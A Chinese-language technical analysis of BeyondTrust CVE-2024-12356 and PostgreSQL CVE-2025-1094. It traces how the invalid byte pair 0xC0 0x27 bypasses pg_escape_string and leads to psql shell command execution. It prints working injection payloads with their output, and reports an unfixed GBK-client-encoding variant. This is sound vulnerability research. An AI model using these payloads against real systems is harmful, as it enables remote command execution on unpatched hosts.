一、前言

CVE-2024-12356命令注入漏洞影响BeyondTrustPrivileged Remote AccessRemote Support系列产品,并实际上依赖于PostgreSQLCVE-2025-1094漏洞。本文从BeyondTrustCVE-2024-12356为场景入口,逐步分析到PostgreSQLCVE-2025-1094,解释引起命令注入的核心编码问题。

二、关键点分析

CVE-2024-12356命令注入漏洞通过WebSocket访问BeyondTrust认证前路由/nw,将HTTP中的Sec-WebSocket-Protocol子协议头设定为ingredi support desk customer thin(以及设定一些其它类似Host的必需参数),即可访问到thin-scc-wrapper脚本。

2.1 thin-scc-wrapper分析(CVE-2024-12356)

thin-scc-wrapper文件补丁前后主要变化:

## ... omit

if [[ "$authType" == "0" ]]; then
 	## read a normal sdcust gskey
+	blog "reading gskey"
 	read -t 30 gskey || exit 1
+	blog "read gskey as [$gskey]"

## ... omit

-		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
+		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo "$gskey" | $ingrediRoot/app/dbquote)
 		if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then
+			blog "failed to find gskey in gw_sessions"
 			echo "1 failure" >&0
 			exit 0
 		fi
  • read -t 30 gskey 从标准输入(WebSocket数据流)中读取数据,并存储到变量gskey中,该**$gskey变量数据用户可控**
  • quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo "$gskey" | $ingrediRoot/app/dbquote)$gskey变量数据数据传递给dbquote脚本处理处理(目的是转义不安全字符),并将其处理结果赋值给quoted
  • $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db)$quoted拼接到字符串中,并通过管道传递给$db执行(即通过psql执行拼接$quoted后的SQL语句)

补丁中将echo $gskey变为了echo "$gskey",多出了一个双引号。它们之间的区别,可通过下面测试进行体现:

## sh环境
$ test="-e hey \x31\x32\x33\x34"; echo $test;
-e hey \x31\x32\x33\x34
test="-e hey \x31\x32\x33\x34"; echo "$test";
-e hey \x31\x32\x33\x34
## bash环境
test="-e hey \x31\x32\x33\x34"; echo $test;
hey 1234
test="-e hey \x31\x32\x33\x34"; echo "$test";
-e hey \x31\x32\x33\x34

sh环境中,可以看到echo $testecho "$test"在结果上没有区别,$test做为一个完整的字符串被打印。在bash环境中,可以看到echo $test产生了变化,变量$test字符串的开头一部分-e会被视为echo命令的一个参数(使echo解释\xNN形式的数据),后续部分会被echo命令解释输出,其中的\x31\x32\x33\x34会被解释为1234;相比而言,在bash环境有双引号时,echo "$test"会原样输出$test,不会做任何解释。因此,修复前echo $gskey | $ingrediRoot/app/dbquote这种写法,意味着可以将$gskey设定为-e \xNN\xNN...形式的数据,从而向dbquote传入任何攻击者指定的字节数据。

2.2 dbquote分析(CVE-2025-1094)

前文中 $gskey可控值被传输到名为dbquote的脚本中,该脚本内容:

#!/bin/env php
<?php
## reads one line from stdin and quotes it for safe inclusion into a SQL statement
$v = fgets(STDIN);
$l = strlen($v);
if($l>0 && $v[$l-1] == "\n")
        $v=substr($v,0,$l-1);
$cn = pg_connect("dbname=".$_ENV['BG_database_primary_name']." user=".$_ENV['BG_database_primary_username']);
echo "'".pg_escape_string($cn, $v)."'\n";

传入的$gskey先通过fgets读取,之后会交给PHPpg_escape_string进行转义,转义后的结果会放在两个单引号之间并打印到标准输出(最后会存储在thin-scc-wrapper中名为quoted的新变量中)。

上述操作的目的是利用pg_escape_string函数转义特殊字符(如单引号),并使其在后续拼接的 SQL 语句中安全使用。如果pg_escape_string转义没有问题,那么理论上是不会产生SQL注入的,但事实上产生了CVE-2025-1094问题。

pg_escape_string的底层实现:

// pgsql.c from php-src
/* {{{ Escape string for text/char type */
PHP_FUNCTION(pg_escape_string)
{
	// ....
	if (link) {
		pgsql = link->conn;
		ZSTR_LEN(to) = PQescapeStringConn(pgsql, ZSTR_VAL(to), ZSTR_VAL(from), ZSTR_LEN(from), NULL);
	} else
	{
		ZSTR_LEN(to) = PQescapeString(ZSTR_VAL(to), ZSTR_VAL(from), ZSTR_LEN(from));
	}
	to = zend_string_truncate(to, ZSTR_LEN(to), 0);
	RETURN_NEW_STR(to);
}

可以看到pg_escape_string会进一步调用PostgreSQLPQescapeStringConn/PQescapeString,两者都会调用PQescapeStringInternal

// fe-exec.c from postgres-src
size_t PQescapeStringConn(PGconn *conn, char *to, const char *from, size_t length, int *error)
{
	//...
	return PQescapeStringInternal(conn, to, from, length, error, conn->client_encoding, conn->std_strings);
}

size_t PQescapeString(char *to, const char *from, size_t length)
{
	return PQescapeStringInternal(NULL, to, from, length, NULL, static_client_encoding, static_std_strings);
}

PQescapeStringInternal底层实现:

// fe-exec.c from postgres-src

static size_t
PQescapeStringInternal(PGconn *conn, char *to, const char *from, size_t length, int *error, int encoding, bool std_strings)
{
	const char *source = from;
	char	   *target = to;
	size_t		remaining = length;
	if (error)
		*error = 0;
	while (remaining > 0 && *source != '\0')
	{
		char		c = *source;
		int			len;
		int			i;
		/* Fast path for plain ASCII */
        // 单字节的最高位Bit不为1,那么视为ascii,即单字节字符
		if (!IS_HIGHBIT_SET(c))
		{
			/* Apply quoting if needed */
            // 仅对单字节字符尝试转义,包括单引号'和右斜线\; 
            // #define SQL_STR_DOUBLE(ch, escape_backslash)	\
			//	((ch) == '\'' || ((ch) == '\\' && (escape_backslash)))
			if (SQL_STR_DOUBLE(c, !std_strings))
				*target++ = c;
			/* Copy the character */
			*target++ = c;
			source++;
			remaining--;
			continue;
		}

		/* Slow path for possible multibyte characters */
        // 单字节的最高Bit为1,那么根据encoding先得到source偏移开始多长的长度被视为一个字符
        // 即返回多字节字符(如 UTF-8 字符)的字节长度
		len = pg_encoding_mblen(encoding, source);

		/* Copy the character */
        // 拷贝一个多字节字符,没有进行任何转义
        // 如果特殊构造的多字节字符,存在某个字节为单引号',那么就绕过了前面的转义限制
		for (i = 0; i < len; i++)
		{
			if (remaining == 0 || *source == '\0')
				break;
			*target++ = *source++;
			remaining--;
		}
		//...
	}
	/* Write the terminating NUL character. */
	*target = '\0';
	return target - to;
}

为了解释上述代码,需要先解释一下什么是多字节字符。类似UTF8这样的可变字符,可以是1个字节是1个字符,也可以是2个字节或更多字节构成1个字符。本文中单个字节构成1个字符称为单字节字符,2个或以上的字节构成1个字符,称为多字节字符。上述代码是读取source中的字符进行处理,将其中的特殊字符前添加转义字符,拷贝到target中。在处理逻辑中有如下关键点:

  • source读取一个字节,如果字节最高Bit为0,视为单字节字符;否则视为多字节字符
  • 如果是单字节字符,判断单字节字符是否为单引号'或右斜线\,是的话双倍该单字节字符拷贝到target中(双倍的含义就是转义),不是的话直接将单字节字符拷贝到target中,不进行转义
  • 如果是多字节字符,先通过pg_encoding_mblen的分析多字节字符的长度len(该长度即几个字节构成一个多字节字符),接着将sourcelen个字节直接拷贝target

从上面的关键点来看,多字节字符拷贝的时候没有添加任何其它字符,即不进行任何的转义。那就抛出来一个问题,能不能特殊构造一个多字节字符,该字符存在某个字节为单引号'(这样就有可能在后续引发单引号'闭合触发SQL注入)?

对于双字节字符来说,一个可能的情况是pg_encoding_mblen返回len为2,且对应从source中读取的第2个字节为单引号'。由于source任意字节可控(来自dbquote脚本中pg_escape_string的传入参数),所以前面条件暂可简化为要求pg_encoding_mblen返回len为2。

所以现在来看一下pg_encoding_mblen的底层实现:

// wchar.c from postgres-src

/*
 * Returns the byte length of a multibyte character.
 */
int
pg_encoding_mblen(int encoding, const char *mbstr)
{	
    //每个encoding对应着一个函数集合,pg_wchar_table表维护着这个关系
    //在BeyondTrust设备上默认encoding为UTF-8编码
	return (PG_VALID_ENCODING(encoding) ?
			pg_wchar_table[encoding].mblen((const unsigned char *) mbstr) :
			pg_wchar_table[PG_SQL_ASCII].mblen((const unsigned char *) mbstr));
}
//pg_wchar_table[PG_UTF8].mblen会调用下面表中的pg_utf_mblen
const pg_wchar_tbl pg_wchar_table[] = {
	[PG_SQL_ASCII] = {pg_ascii2wchar_with_len, pg_wchar2single_with_len, pg_ascii_mblen, pg_ascii_dsplen, pg_ascii_verifychar, pg_ascii_verifystr, 1},
	//...
	[PG_UTF8] = {pg_utf2wchar_with_len, pg_wchar2utf_with_len, pg_utf_mblen, pg_utf_dsplen, pg_utf8_verifychar, pg_utf8_verifystr, 4},//UTF8编码对应的函数集合
    //...
};

/*
 * pg_wchar_table[PG_UTF8].mblen会走到此处
 */
int pg_utf_mblen(const unsigned char *s)
{
	int			len;
	if ((*s & 0x80) == 0)
		len = 1;
	else if ((*s & 0xe0) == 0xc0) // 首字节 & 0xe0后 若为0xc0,会被视为2字节字符
		len = 2;
	else if ((*s & 0xf0) == 0xe0) // 首字节 & 0xf0后 若为0xe0,会被视为3字节字符,后续类似
		len = 3;
	else if ((*s & 0xf8) == 0xf0)
		len = 4;
#ifdef NOT_USED
	else if ((*s & 0xfc) == 0xf8)
		len = 5;
	else if ((*s & 0xfe) == 0xfc)
		len = 6;
#endif
	else
		len = 1;
	return len;
}

pg_encoding_mblen方法会从pg_wchar_tbl表中找到某字符编码对应的函数集合,并从中找到存储的mblen方法。 对与PG_UTF8字符编码来说,相当于要调用上述的pg_utf_mblen方法。在该方法中,如果某字符的第1个字节&0xe0的结果为0xc0,那么就认为该字符占用两个字节。所以,可以构造 0xC0, 0x27 的字节序列,该序列视为双字节字符,其0xC0&0xE0等于0xC0,而且0x27为单引号。这种方式构造的多字节字符会直接从source被拷贝到target,且不会进行任何的转义。

有了上述分析后,直接进行如下三个测试进行验证。

无单引号测试

$ echo -e "hey" | ./dbquote
'hey'

结果可以看到未对hey进行任何转义,且首尾额外增加一个单引号

有单引号测试

$ echo -e "h'ey'" | ./dbquote  
'h''ey'''

结果可以看到h'ey'中所有单引号前被额外增加了一个单引号进行转义,且首尾额外增加一个单引号

特殊构造测试

$ echo -e "h\xC0'ey'" | ./dbquote
'h└'ey'''

结果可以看到h\xC0'ey'\xC0后的单引号未被转义ey后的单引号被转义,且首尾额外增加一个单引号。该方式的结果初步看像是可以绕过单引号闭合,可能可以被后续用于SQL注入,也就是接下来的psql分析。

2.3 psql分析(CVE-2025-1094)

前文thin-scc-wrapper$(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db 这部分sql语句最终交由psql执行,其中$quoted可以通过特殊构造测试中的类似方法实现SQL注入。

psql做为一个PostgreSQL的客户端,其本身支持一些meta-commands and various shell-like features,如下是命令执行的官方文档说明:

\! [ command ] 
With no argument, escapes to a sub-shell; psql resumes when the sub-shell exits. With an argument, executes the shell command command.

Unlike most other meta-commands, the entire remainder of the line is always taken to be the argument(s) of \!, and neither variable interpolation nor backquote expansion are performed in the arguments. The rest of the line is simply passed literally to the shell.

通过如下方式模拟实现SQL注入以及命令执行:

$ quoted=$(echo -e "hey\xC0'; \! id ## " | ./dbquote)
$ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hey└';
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
uid=1000(test) gid=1000(test) groups=1000(test),16(cron),70(postgres)

前文中pg_escape_string转义配合这里的psql,构成了实际上的CVE-2025-1094漏洞。下面是Postgres官方的说明:

Improper neutralization of quoting syntax in PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() allows a database input provider to achieve SQL injection in certain usage patterns. Specifically, SQL injection requires the application to use the function result to construct input to psql, the PostgreSQL interactive terminal. 

可以看出来,CVE-2025-1094不仅包括PQescapeString,还涉及PQescapeLiteralPQescapeIdentifierPQescapeStringConn

2.4 触发流程

CVE-2024-12356通过WebSocket访问BeyondTrust认证前路由/nw,将HTTP中的Sec-WebSocket-Protocol子协议头设定为ingredi support desk customer thin(以及设定一些其它类似Host的必需参数),即可访问到thin-scc-wrapper脚本。

thin-scc-wrapper脚本中$gskey变量数据来自WebSocket数据流,用户可控。可通过特殊构造的Invalid UTF-8 0xC0, 0x27绕过dbquote脚本中的pg_escape_string转义即CVE-2025-1094,并拼接到SQL语句中实现SQL注入【注入psql元命令\! [ command ] 语句】。

包含SQL注入的字符串,被传递到psql解释,触发元命令\! [ command ] 执行。

三、拓展分析

既然Postgres存在这个问题,那么其它的开源数据库是否有类似的问题呢?

3.1 Mysql分析

使用Mysql时,类似的转义方法有mysqli_real_escape_string(mysqli $mysql, string $string): stringmysqli_real_escape_string会调用mysql_real_escape_string_quote,而mysql_real_escape_string_quote等同于mysql_real_escape_string

// mysqli_api.c from php-src
PHP_FUNCTION(mysqli_real_escape_string) {
	MY_MYSQL	*mysql;
	zval		*mysql_link = NULL;
	char		*escapestr;
	size_t			escapestr_len;
	zend_string *newstr;

	if (zend_parse_method_parameters(ZEND_NUM_ARGS(), getThis(), "Os", &mysql_link, mysqli_link_class_entry, &escapestr, &escapestr_len) == FAILURE) {
		RETURN_THROWS();
	}
	MYSQLI_FETCH_RESOURCE_CONN(mysql, mysql_link, MYSQLI_STATUS_VALID);

	newstr = zend_string_safe_alloc(2, escapestr_len, 0, 0);
    // mysqli_real_escape_string 会调用 mysql_real_escape_string_quote
	ZSTR_LEN(newstr) = mysql_real_escape_string_quote(mysql->mysql, ZSTR_VAL(newstr), escapestr, escapestr_len, '\'');
	newstr = zend_string_truncate(newstr, ZSTR_LEN(newstr), 0);

	RETURN_NEW_STR(newstr);
}

// mysql_real_escape_string_quote会调用mysql_real_escape_string
## define mysql_real_escape_string_quote(mysql, to, from, length, quote) \
	mysql_real_escape_string(mysql, to, from, length)

mysqlnd_libmysql_compat.hmysql_real_escape_string又等同于mysqlnd_real_escape_string

// mysqlnd_libmysql_compat.h from php-src

#define mysql_real_escape_string(r,a,b,c) mysqlnd_real_escape_string((r), (a), (b), (c))

mysqlnd.hmysqlnd_real_escape_string会调用连接对象的escape_string方法,该方法又调用mysqlnd_cset_escape_quotesmysqlnd_cset_escape_slashes

// mysqlnd.h from php-src

/* Escaping */
#define mysqlnd_real_escape_string(conn, newstr, escapestr, escapestr_len) \
		((conn)->data)->m->escape_string((conn)->data, (newstr), (escapestr), (escapestr_len))

// mysqlnd_connection from php-src

/* {{{ mysqlnd_conn_data::escape_string */
static zend_ulong
MYSQLND_METHOD(mysqlnd_conn_data, escape_string)(MYSQLND_CONN_DATA * const conn, char * newstr, const char * escapestr, size_t escapestr_len)
{
	zend_ulong ret = FAIL;
	DBG_ENTER("mysqlnd_conn_data::escape_string");
	DBG_INF_FMT("conn=%" PRIu64, conn->thread_id);

	DBG_INF_FMT("server_status=%u", UPSERT_STATUS_GET_SERVER_STATUS(conn->upsert_status));
	if (UPSERT_STATUS_GET_SERVER_STATUS(conn->upsert_status) & SERVER_STATUS_NO_BACKSLASH_ESCAPES) {
        // 调用mysqlnd_cset_escape_quotes
		ret = mysqlnd_cset_escape_quotes(conn->charset, newstr, escapestr, escapestr_len);
	} else {
        // 调用mysqlnd_cset_escape_slashes
		ret = mysqlnd_cset_escape_slashes(conn->charset, newstr, escapestr, escapestr_len);
	}
	DBG_RETURN(ret);
}

上面的escape_string调用mysqlnd_cset_escape_quotes,这部分是多字节字符处理的核心逻辑:

// mysqlnd_charset.c from php-src

/* {{{ mysqlnd_cset_escape_quotes */
PHPAPI zend_ulong mysqlnd_cset_escape_quotes(const MYSQLND_CHARSET * const cset, char * newstr,
											 const char * escapestr, const size_t escapestr_len)
{
	const char 	*newstr_s = newstr;
	const char 	*newstr_e = newstr + 2 * escapestr_len;
	const char 	*end = escapestr + escapestr_len;
	bool	escape_overflow = FALSE;

	DBG_ENTER("mysqlnd_cset_escape_quotes");

	for (;escapestr < end; escapestr++) {
		unsigned int len = 0;
		/* check unicode characters */
		// 多字节字符处理
		if (cset->char_maxlen > 1 && (len = cset->mb_valid(escapestr, end))) {

			/* check possible overflow */
			if ((newstr + len) > newstr_e) {
				escape_overflow = TRUE;
				break;
			}
            // 直接拷贝
			/* copy mb char without escaping it */
			while (len--) {
				*newstr++ = *escapestr++;
			}
			escapestr--;
			continue;
		}  
        // 后续是单字节字符处理
		if (*escapestr == '\'') {  // 单引号转义
			if (newstr + 2 > newstr_e) {
				escape_overflow = TRUE;
				break;
			}
			*newstr++ = '\'';
			*newstr++ = '\'';
		} else {
			if (newstr + 1 > newstr_e) {
				escape_overflow = TRUE;
				break;
			}
			*newstr++ = *escapestr;
		}
	}
	*newstr = '\0';

	if (escape_overflow) {
		DBG_RETURN((zend_ulong)~0);
	}
	DBG_RETURN((zend_ulong)(newstr - newstr_s));
}

// mysqlnd_cset_escape_slashes 代码类似 mysqlnd_cset_escape_quotes,主要增加了对单字节字符的处理,多字节字符处理基本相同。

可以看到其逻辑类似PostgreSQL,如果cset->mb_valid(escapestr, end)调用只检查长度,不检查多字节字符是否Valid,那么应该也有类似Postgres的问题。但进一步查看源码(以UTF8为例),可以发现mb_valid对字节是否合法做了检查。

// 类似Postgres中的pg_wchar_table字符集数组
/* {{{ mysqlnd_charsets */
const MYSQLND_CHARSET mysqlnd_charsets[] =
{
	//...
	{  33, UTF8_MB3, UTF8_MB3"_general_ci", 1, 3, "UTF-8 Unicode", mysqlnd_mbcharlen_utf8mb3,  check_mb_utf8mb3_valid},
	//...
}

// cset为utf8时会走到check_mb_utf8mb3_valid
static unsigned int check_mb_utf8mb3_valid(const char * const start, const char * const end)
{
	unsigned int len = check_mb_utf8mb3_sequence(start, end);
	return (len > 1)? len:0;
}

/* {{{ utf8 functions */
static unsigned int check_mb_utf8mb3_sequence(const char * const start, const char * const end)
{
	zend_uchar	c;

	if (start >= end) {
		return 0;
	}

	c = (zend_uchar) start[0];

	if (c < 0x80) {
		return 1;		/* single byte character */
	}
	if (c < 0xC2) {     // 这里如果使用 0xC0, 0x27 字节序列,会失败。此处进行了"是否为一个有效UTF8字符"的检查
		return 0;		/* invalid mb character */
	}
	if (c < 0xE0) {
		if (start + 2 > end) {
			return 0;	/* too small */
		}
		if (!(((zend_uchar)start[1] ^ 0x80) < 0x40)) { //即使前面c < 0xC2 想办法过了,这里也要求第二个字节最高Bit为1,无法使用0x27;这里也进行了"是否为一个有效UTF8字符"的检查
			return 0;
		}
		return 2;
	}
	if (c < 0xF0) {
		if (start + 3 > end) {
			return 0;	/* too small */
		}
		if (!(((zend_uchar)start[1] ^ 0x80) < 0x40 && ((zend_uchar)start[2] ^ 0x80) < 0x40 &&
			(c >= 0xE1 || (zend_uchar)start[1] >= 0xA0))) {
			return 0;	/* invalid utf8 character */
		}
		return 3;
	}
	return 0;
}

可以看出来utf8字符集的mb_valid操作,会对多字节字符进行检查,要求其必须是Valid utf8 character。但前述代码都是在php-src分析,事实上,在mysql-src源码中,也存在mysql_real_escape_string ,这里简单看一下,逻辑和php-src中很类似,也会对多字节字符进行检查,要求其必须是Valid utf8 character

// mysql-src

ulong STDCALL mysql_real_escape_string(MYSQL *mysql, char *to, const char *from,
                                       ulong length) {
  // ....
  // 这里调用mysql_real_escape_string_quote
  return (uint)mysql_real_escape_string_quote(mysql, to, from, length, '\'');
}


ulong STDCALL mysql_real_escape_string_quote(MYSQL *mysql, char *to,
                                             const char *from, ulong length,
                                             char quote) {
  if (quote == '`' || mysql->server_status & SERVER_STATUS_NO_BACKSLASH_ESCAPES)
    //这里调用escape_quotes_for_mysql
    return (uint)escape_quotes_for_mysql(mysql->charset, to, 0, from, length,
                                         quote);
  //...
}

// 核心方法
size_t escape_quotes_for_mysql(CHARSET_INFO *charset_info, char *to,
                               size_t to_length, const char *from,
                               size_t length, char quote) {
  const char *to_start = to;
  const char *end = nullptr;
  const char *to_end = to_start + (to_length ? to_length - 1 : 2 * length);
  bool overflow = false;
  const bool use_mb_flag = use_mb(charset_info);
  for (end = from + length; from < end; from++) {
    int tmp_length = 0;
    // 多字节字符处理; 使用my_ismbchar进行字符长度获取
    if (use_mb_flag && (tmp_length = my_ismbchar(charset_info, from, end))) {
      if (to + tmp_length > to_end) {
        overflow = true;
        break;
      }
      while (tmp_length--) *to++ = *from++;
      from--;
      continue;
    }
    /*
      We don't have the same issue here with a non-multi-byte character being
      turned into a multi-byte character by the addition of an escaping
      character, because we are only escaping the ' character with itself.
     */
    if (*from == quote) {
      if (to + 2 > to_end) {
        overflow = true;
        break;
      }
      *to++ = quote;
      *to++ = quote;
    } else {
      if (to + 1 > to_end) {
        overflow = true;
        break;
      }
      *to++ = *from;
    }
  }
  *to = 0;
  return overflow ? (ulong)~0 : (ulong)(to - to_start);
}

除去一些无关代码后,上面my_ismbchar对于对于utf8来说,相当于调用my_mb_wc_utf8_prototype进行检测。

// 除去一些无关代码后,my_ismbchar对于对于utf8来说
// 相当于调用此处my_mb_wc_utf8_prototype进行检测
static ALWAYS_INLINE int my_mb_wc_utf8_prototype(my_wc_t *pwc, const uint8_t *s,
                                                 const uint8_t *e) {
  if (RANGE_CHECK && s >= e) return MY_CS_TOOSMALL;

  uint8_t c = s[0];
  if (c < 0x80) {
    *pwc = c;
    return 1;
  }

  if (c < 0xe0) {
    if (c < 0xc2)  // Resulting code point would be less than 0x80. 对第一个字节有效性进行检查
      return MY_CS_ILSEQ;

    if (RANGE_CHECK && s + 2 > e) return MY_CS_TOOSMALL2;
	// 对第二个字节的有效性进行检查
    if ((s[1] & 0xc0) != 0x80)  // Next byte must be a continuation byte.
      return MY_CS_ILSEQ;

    *pwc = ((my_wc_t)(c & 0x1f) << 6) + (my_wc_t)(s[1] & 0x3f);
    return 2;
  }

  //...

  return MY_CS_ILSEQ;
}

上述过程在获取单个多字节字符的长度时,同时进行了"是否为一个有效UTF8字符"的检查。

因此,从前述源码来看,MysqlUTF8字符集方面应该不存在类似Postgres的问题。

3.2 Postgres修复

在最新的Postgres源码fe-exec.c中,对于PQescapeStringInternal方法,通过增加pg_encoding_verifymbchar函数调用来进行多字节字符的有效性检查。

static size_t
PQescapeStringInternal(PGconn *conn,
					   char *to, const char *from, size_t length,
					   int *error,
					   int encoding, bool std_strings)
{
	const char *source = from;
	char	   *target = to;
	size_t		remaining = strnlen(from, length);
	bool		already_complained = false;

	if (error)
		*error = 0;

	while (remaining > 0)
	{
		char		c = *source;
		int			charlen;
		int			i;

		/* Fast path for plain ASCII */
        // 单字节字符处理
		if (!IS_HIGHBIT_SET(c))
		{
			/* Apply quoting if needed */
			if (SQL_STR_DOUBLE(c, !std_strings))
				*target++ = c;
			/* Copy the character */
			*target++ = c;
			source++;
			remaining--;
			continue;
		}

		/* Slow path for possible multibyte characters */
		charlen = pg_encoding_mblen(encoding, source);
		// 使用 pg_encoding_verifymbchar 进行多字节字符检测; 在修复前是没有该检查的
		if (remaining < charlen ||
			pg_encoding_verifymbchar(encoding, source, charlen) == -1)
		{
			if (error)
				*error = 1;
			if (conn && !already_complained)
			{
				if (remaining < charlen)
					libpq_append_conn_error(conn, "incomplete multibyte character");
				else
					libpq_append_conn_error(conn, "invalid multibyte character");
				/* Issue a complaint only once per string */
				already_complained = true;
			}

			pg_encoding_set_invalid(encoding, target);
			target += 2;

			/*
			 * Handle the following bytes as if this byte didn't exist. That's
			 * safer in case the subsequent bytes contain important characters
			 * for the caller (e.g. '>' in html).
			 */
			source++;
			remaining--;
		}
		else
		{
			/* Copy the character */
			for (i = 0; i < charlen; i++)
			{
				*target++ = *source++;
				remaining--;
			}
		}
	}

	/* Write the terminating NUL character. */
	*target = '\0';

	return target - to;
}

对于UTF8来说, pg_encoding_verifymbcha的检测会调用到pg_utf8_islegal,可以看到该函数会检测是否为一个有效UTF8字符。

/*
 * Check for validity of a single UTF-8 encoded character
 */
bool
pg_utf8_islegal(const unsigned char *source, int length)
{
	unsigned char a;

	switch (length)
	{
		default:
			/* reject lengths 5 and 6 for now */
			return false;
		case 4://从第4字节长度开始检查,再第3字节...最后到第1字节
			a = source[3];
			if (a < 0x80 || a > 0xBF)
				return false;
			/* FALL THRU */
		case 3:
			a = source[2];
			if (a < 0x80 || a > 0xBF)
				return false;
			/* FALL THRU */
		case 2:
			a = source[1];
			switch (*source)
			{
				case 0xE0:
					if (a < 0xA0 || a > 0xBF)
						return false;
					break;
				case 0xED:
					if (a < 0x80 || a > 0x9F)
						return false;
					break;
				case 0xF0:
					if (a < 0x90 || a > 0xBF)
						return false;
					break;
				case 0xF4:
					if (a < 0x80 || a > 0x8F)
						return false;
					break;
				default:
					if (a < 0x80 || a > 0xBF)
						return false;
					break;
			}
			/* FALL THRU */
		case 1:
			a = *source;
			if (a >= 0x80 && a < 0xC2)
				return false;
			if (a > 0xF4)
				return false;
			break;
	}
	return true;
}

3.3 新的问题

CVE-2025-1094修复后,postgres对于UTF8的处理看着没什么问题,那么对于gbk的处理是否有问题?

事实上,postgres在服务端不支持gbk编码,但是客户端是支持gbk编码,在源码中有所体现。

typedef enum pg_enc
{
	PG_SQL_ASCII = 0,			/* SQL/ASCII */
	//....
	/* followings are for client encoding only */
    PG_SJIS,					/* Shift JIS (Windows-932) */
	PG_BIG5,					/* Big5 (Windows-950) */
	PG_GBK,						/* GBK (Windows-936) */
	PG_UHC,						/* UHC (Windows-949) */
	PG_GB18030,					/* GB18030 */
	PG_JOHAB,					/* EUC for Korean JOHAB */
	PG_SHIFT_JIS_2004,			/* Shift-JIS-2004 */
	_PG_LAST_ENCODING_			/* mark only */
} pg_enc;

检查之前的pg_wchar_table表,查看gbk相关的长度处理pg_gbk_mblen和字符检查pg_gbk_verifychar

const pg_wchar_tbl pg_wchar_table[] = {
	[PG_SQL_ASCII] = {pg_ascii2wchar_with_len, pg_wchar2single_with_len, pg_ascii_mblen, pg_ascii_dsplen, pg_ascii_verifychar, pg_ascii_verifystr, 1},
	//...
	[PG_GBK] = {0, 0, pg_gbk_mblen, pg_gbk_dsplen, pg_gbk_verifychar, pg_gbk_verifystr, 2},
	//...
};

/* msb for char */
#define HIGHBIT					(0x80)
#define IS_HIGHBIT_SET(ch)		((unsigned char)(ch) & HIGHBIT) //检查字节最高BIT是否为1

/*
 * GBK
 */
static int
pg_gbk_mblen(const unsigned char *s)
{
	int			len;
	// 字节最高比特为1,认为是双字节字符;否则,认为是单字节字符
	if (IS_HIGHBIT_SET(*s))
		len = 2;				/* kanji? */
	else
		len = 1;				/* should be ASCII */
	return len;
}

static int
pg_gbk_verifychar(const unsigned char *s, int len)
{
	int			l,
				mbl;

	l = mbl = pg_gbk_mblen(s);
	if (len < l)
		return -1;
    //这里的检查,要求第一个字节不为0x8d,第二个字节不为' '即可过verify
	//#define NONUTF8_INVALID_BYTE0 (0x8d)
	//#define NONUTF8_INVALID_BYTE1 (' ')
	if (l == 2 &&
		s[0] == NONUTF8_INVALID_BYTE0 &&
		s[1] == NONUTF8_INVALID_BYTE1)
		return -1;
	while (--l > 0)
	{
		if (*++s == '\0')
			return -1;
	}
	return mbl;
}

简单从源码来看,似乎gbk的检查很宽松,是不是有可能存在之前的问题?直接盲测一下,让postgres-server使用UTF8编码,而客户端采用gbk编码。

服务端信息(修复后版本):

\l
List of databases
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------
 mydbgkb   | postgres | UTF8     | libc            | zh_CN.UTF-8 | zh_CN.UTF-8 |        |           |
 postgres  | postgres | UTF8     | libc            | zh_CN.UTF-8 | zh_CN.UTF-8 |        |           |
 template0 | postgres | UTF8     | libc            | zh_CN.UTF-8 | zh_CN.UTF-8 |        |           | =c/postgres          +
           |          |          |                 |             |             |        |           | postgres=CTc/postgres
 template1 | postgres | UTF8     | libc            | zh_CN.UTF-8 | zh_CN.UTF-8 |        |           | =c/postgres          +
           |          |          |                 |             |             |        |           | postgres=CTc/postgres
 test      | postgres | UTF8     | libc            | zh_CN.UTF-8 | zh_CN.UTF-8 |        |           |
(5 rows)

postgres=## SHOW server_version;
          server_version
----------------------------------
 17.4 (Ubuntu 17.4-1.pgdg22.04+2)
(1 row)

postgres=## SHOW server_encoding;
 server_encoding
-----------------
 UTF8
(1 row)

创建dbq脚本(内部用户名/密码等信息用于连接postgre-server)。

#!/bin/env php
<?php
## reads one line from stdin and quotes it for safe inclusion into a SQL statement
$v = fgets(STDIN);
$l = strlen($v);
if($l>0 && $v[$l-1] == "\n")
        $v=substr($v,0,$l-1);
$host = "localhost";
$dbname = "test";
$user = "postgres";
$password = "test";

//$conn = pg_connect("host=$host dbname=$dbname user=$user password=$password ");
$cn = pg_connect("host=$host dbname=$dbname user=$user password=$password client_encoding='GBK'");
echo "'".pg_escape_string($cn, $v)."'\n";

该脚本与前文dbquote逻辑基本一样,主要区别是这里增加了client_encoding='GBK'客户端编码。

执行quoted=$(echo -e "hey\xC0'; \! id ## " | ./dbq); echo "select $quoted" | sudo -u postgres psql -e,其输出类似:

select 'hey�';
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
uid=131(postgres) gid=138(postgres) groups=138(postgres),114(ssl-cert)

从结果来看,出发了命令执行,也就是说\xc0\x27序列在client_encoding='GBK' server_encoding=UTF8下依旧可用。此外简单尝试了下,BIG5UHC做为客户端编码,现象也是如此。

这部分内容和PostgreSQL安全团队反馈后,对方回复认为这里的问题算是一种使用上的错误(a problem in how the escape functions are used, not a bug in how the escape functions work),而不是Bug(因为UTF8等编码本身的检测是没有问题的)。所以,这个现象目前在最新版上还是存在的。

四、结语

